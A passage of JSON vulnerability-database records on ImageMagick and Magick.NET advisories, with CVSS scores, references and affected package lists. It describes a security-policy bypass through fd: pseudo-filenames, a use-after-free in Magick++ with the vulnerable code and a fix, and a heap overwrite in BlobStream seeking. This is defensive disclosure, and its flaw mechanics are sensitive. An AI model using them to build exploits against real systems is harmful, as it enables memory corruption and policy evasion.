"https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/advisories/GHSA-gq5v-qf8q-fp77", "reference_id": "GHSA-gq5v-qf8q-fp77", "reference_type": "", "scores": [ { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-gq5v-qf8q-fp77" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gq5v-qf8q-fp77", "reference_id": "GHSA-gq5v-qf8q-fp77", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:L" }, { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gq5v-qf8q-fp77" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "GHSA-gq5v-qf8q-fp77" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-kpcy-a3v3-ubhs" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50315?format=api", "vulnerability_id": "VCID-kyeb-ndqs-vyhp", "summary": "ImageMagick's Security Policy Bypass through config/policy-secure.xml via \"fd handler\" leads to stdin/stdout access\nThe shipped “secure” security policy includes a rule intended to prevent reading/writing from standard streams:\n\n```xml\n<policy domain=\"path\" rights=\"none\" pattern=\"-\"/>\n```\n\nHowever, ImageMagick also supports fd:<n> pseudo-filenames (e.g., fd:0, fd:1). This path form is not blocked by the secure policy templates, and therefore bypasses the protection goal of “no stdin/stdout”.\n\nTo resolve this, users can add the following change to their security policy.\n\n```xml\n<policy domain=\"path\" rights=\"none\" pattern=\"fd:*\"/>\n```\n\nAnd this will also be included in ImageMagick's more secure policies by default.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25966.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.9", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25966.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25966", "reference_id": "", "reference_type": "", "scores": [ { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00523", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25966" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/8d4c67a90ae458fb36393a05c0069e9123ac174c", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/8d4c67a90ae458fb36393a05c0069e9123ac174c" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442122", "reference_id": "2442122", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442122" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25966", "reference_id": "CVE-2026-25966", "reference_type": "", "scores": [ { "value": "5.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25966" }, { "reference_url": "https://github.com/advisories/GHSA-xwc6-v6g8-pw2h", "reference_id": "GHSA-xwc6-v6g8-pw2h", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-xwc6-v6g8-pw2h" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xwc6-v6g8-pw2h", "reference_id": "GHSA-xwc6-v6g8-pw2h", "reference_type": "", "scores": [ { "value": "5.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xwc6-v6g8-pw2h" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25966", "GHSA-xwc6-v6g8-pw2h" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-kyeb-ndqs-vyhp" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/49335?format=api", "vulnerability_id": "VCID-kymx-rjrd-m3g4", "summary": "Withdrawn Advisory: ImageMagick has a use-after-free/double-free risk in Options::fontFamily when clearing family\n## Withdrawn Advisory\nThis advisory has been withdrawn because it does not affect the ImageMagick project's NuGet packages.\n\n### Original Description\nWe believe that we have discovered a potential security vulnerability in ImageMagick’s Magick++ layer that manifests when `Options::fontFamily` is invoked with an empty string.\n\n**Vulnerability Details**\n- Clearing a font family calls `RelinquishMagickMemory` on `_drawInfo->font`, freeing the font string but leaving `_drawInfo->font` pointing to freed memory while `_drawInfo->family` is set to that (now-invalid) pointer. Any later cleanup or reuse of `_drawInfo->font` re-frees or dereferences dangling memory.\n- `DestroyDrawInfo` and other setters (`Options::font`, `Image::font`) assume `_drawInfo->font` remains valid, so destruction or subsequent updates trigger crashes or heap corruption.\n\n```cpp\nif (family_.length() == 0)\n {\n _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->font);\n DestroyString(RemoveImageOption(imageInfo(),\"family\"));\n }\n```\n\n- **CWE-416 (Use After Free):** `_drawInfo->font` is left dangling yet still reachable through the Options object.\n- **CWE-415 (Double Free):** DrawInfo teardown frees `_drawInfo->font` again, provoking allocator aborts.\n\n**Affected Versions**\n- Introduced by commit `6409f34d637a34a1c643632aa849371ec8b3b5a8` (“Added fontFamily to the Image class of Magick++”, 2015-08-01, blame line 313).\n- Present in all releases that include that commit, at least ImageMagick 7.0.1-0 and later (likely late 6.9 builds with Magick++ font family support as well). Older releases without `fontFamily` are unaffected.\n\n**Command Line Triggerability**\nThis vulnerability cannot be triggered from the command line interface. The bug is specific to the Magick++ C++ API, specifically the `Options::fontFamily()` method. The command-line utilities (such as `convert`, `magick`, etc.) do not expose this particular code path, as they operate through different internal mechanisms that do not directly call `Options::fontFamily()` with an empty string in a way that would trigger the use-after-free condition.\n\n**Proposed Fix**\n```diff\ndiff --git a/Magick++/lib/Options.cpp b/Magick++/lib/Options.cpp\n@@ void Magick::Options::fontFamily(const std::string &family_)\n- _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->font);\n+ _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->family);\n```\nThis frees only the actual family string, leaving `_drawInfo->font` untouched. Optionally nulling `_drawInfo->font` when clearing `font()` itself maintains allocator hygiene.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-65955.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.9", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-65955.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-65955", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00018", "scoring_system": "epss", "scoring_elements": "0.04812", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-65955" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-65955", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-65955" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/6409f34d637a34a1c643632aa849371ec8b3b5a8", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/6409f34d637a34a1c643632aa849371ec8b3b5a8" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/6f81eb15f822ad86e8255be75efad6f9762c32f8", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/6f81eb15f822ad86e8255be75efad6f9762c32f8" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1122827", "reference_id": "1122827", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1122827" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418549", "reference_id": "2418549", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418549" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65955", "reference_id": "CVE-2025-65955", "reference_type": "", "scores": [ { "value": "4.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65955" }, { "reference_url": "https://github.com/advisories/GHSA-q3hc-j9x5-mp9m", "reference_id": "GHSA-q3hc-j9x5-mp9m", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-q3hc-j9x5-mp9m" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-q3hc-j9x5-mp9m", "reference_id": "GHSA-q3hc-j9x5-mp9m", "reference_type": "", "scores": [ { "value": "4.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-q3hc-j9x5-mp9m" } ], "fixed_packages": [], "aliases": [ "CVE-2025-65955", "GHSA-q3hc-j9x5-mp9m" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-kymx-rjrd-m3g4" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/58072?format=api", "vulnerability_id": "VCID-m1x2-ffdz-ekhu", "summary": "ImageMagick BlobStream Forward-Seek Under-Allocation\nFor memory-backed blobs (**BlobStream**), [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) permits advancing the stream **offset** beyond the current end without increasing capacity. The subsequent [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) then expands by **`quantum + length`** (amortized) instead of **`offset + length`**, and copies to `data + offset`. When `offset ≫ extent`, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.\n\n---", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-57807.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.2", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-57807.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-57807", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00073", "scoring_system": "epss", "scoring_elements": "0.22233", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-57807" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-57807", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-57807" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/077a417a19a5ea8c85559b602754a5b928eef23e", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-08T13:58:41Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/077a417a19a5ea8c85559b602754a5b928eef23e" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1114520", "reference_id": "1114520", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1114520" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2393590", "reference_id": "2393590", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2393590" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57807", "reference_id": "CVE-2025-57807", "reference_type": "", "scores": [ { "value": "3.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57807" }, { "reference_url": "https://github.com/advisories/GHSA-23hg-53q6-hqfg", "reference_id": "GHSA-23hg-53q6-hqfg", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-23hg-53q6-hqfg" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-23hg-53q6-hqfg", "reference_id": "GHSA-23hg-53q6-hqfg", "reference_type": "", "scores": [ { "value": "3.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-08T13:58:41Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-23hg-53q6-hqfg" }, { "reference_url": "https://usn.ubuntu.com/7756-1/", "reference_id": "USN-7756-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/7756-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/86418?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.8.2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e38-r9z4-a7h9" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-97p8-5z8e-2qd5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-c9t3-dj85-nfev" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-ddvf-h3jf-1yft" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-kymx-rjrd-m3g4" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t1vu-myek-u7dq" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-wh9f-rvt4-6fb9" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xftp-cy5m-nkhh" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.8.2" } ], "aliases": [ "CVE-2025-57807", "GHSA-23hg-53q6-hqfg" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-m1x2-ffdz-ekhu" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50908?format=api", "vulnerability_id": "VCID-m8u5-3zy6-zyh8", "summary": "ImageMagick has heap use-after-free in the MSL encoder\nA heap-use-after-free vulnerability exists in the MSL encoder, where a cloned image is destroyed twice. The MSL coder does not support writing MSL so the write capability has been removed.\n\n```\nSUMMARY: AddressSanitizer: heap-use-after-free MagickCore/image.c:1195 in 